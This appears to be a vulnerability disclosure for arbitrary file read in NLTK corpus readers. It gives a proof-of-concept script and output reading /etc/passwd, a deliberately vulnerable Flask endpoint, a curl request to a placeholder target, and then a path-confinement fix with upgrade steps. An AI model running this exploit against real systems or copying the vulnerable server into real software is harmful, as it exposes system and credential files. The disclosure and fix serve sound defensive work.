# PoC.py — demonstrates arbitrary file read using three vulnerable CorpusReader classes

from nltk.corpus.reader import WordListCorpusReader, TaggedCorpusReader, BracketParseCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

root = FileSystemPathPointer("/")   # unrestricted filesystem root
target = "etc/passwd"               # any sensitive file path

print("--- WordListCorpusReader ---")
reader1 = WordListCorpusReader(root, [target])
print(reader1.raw(target)[:200])

print("--- TaggedCorpusReader ---")
reader2 = TaggedCorpusReader(root, [target])
print(reader2.raw(target)[:200])

print("--- BracketParseCorpusReader ---")
reader3 = BracketParseCorpusReader(root, [target])
print(reader3.raw(target)[:200])

--- WordListCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- TaggedCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

--- BracketParseCorpusReader ---
root:x:0:0:root:/root:/usr/bin/zsh

# Vulnerable API server
from flask import Flask, request
from nltk.corpus.reader import WordListCorpusReader
from nltk.corpus.reader.util import FileSystemPathPointer

app = Flask(__name__)
root = FileSystemPathPointer("/")

@app.post("/read")
def read_file():
    filename = request.json.get("file")
    reader = WordListCorpusReader(root, [filename])
    return reader.raw(filename)

app.run("0.0.0.0", 8000)

curl -X POST http://TARGET:8000/read \
     -H "Content-Type: application/json" \
     -d '{"file": "etc/passwd"}'

import os

normalized = fileid.replace("\\", "/")

# Block absolute paths
if os.path.isabs(normalized):
    raise ValueError("Absolute paths are not permitted.")

# Block directory traversal sequences
if ".." in normalized.split("/"):
    raise ValueError("Path traversal sequences are not permitted.")

# Enforce confinement within corpus root
joined = self._root.join(normalized)
if not os.path.normpath(joined._path).startswith(
    os.path.normpath(self._root._path)
):
    raise ValueError("Path escapes the corpus root directory.")

pip install --upgrade nltk

python -c "import nltk; print(nltk.__version__)"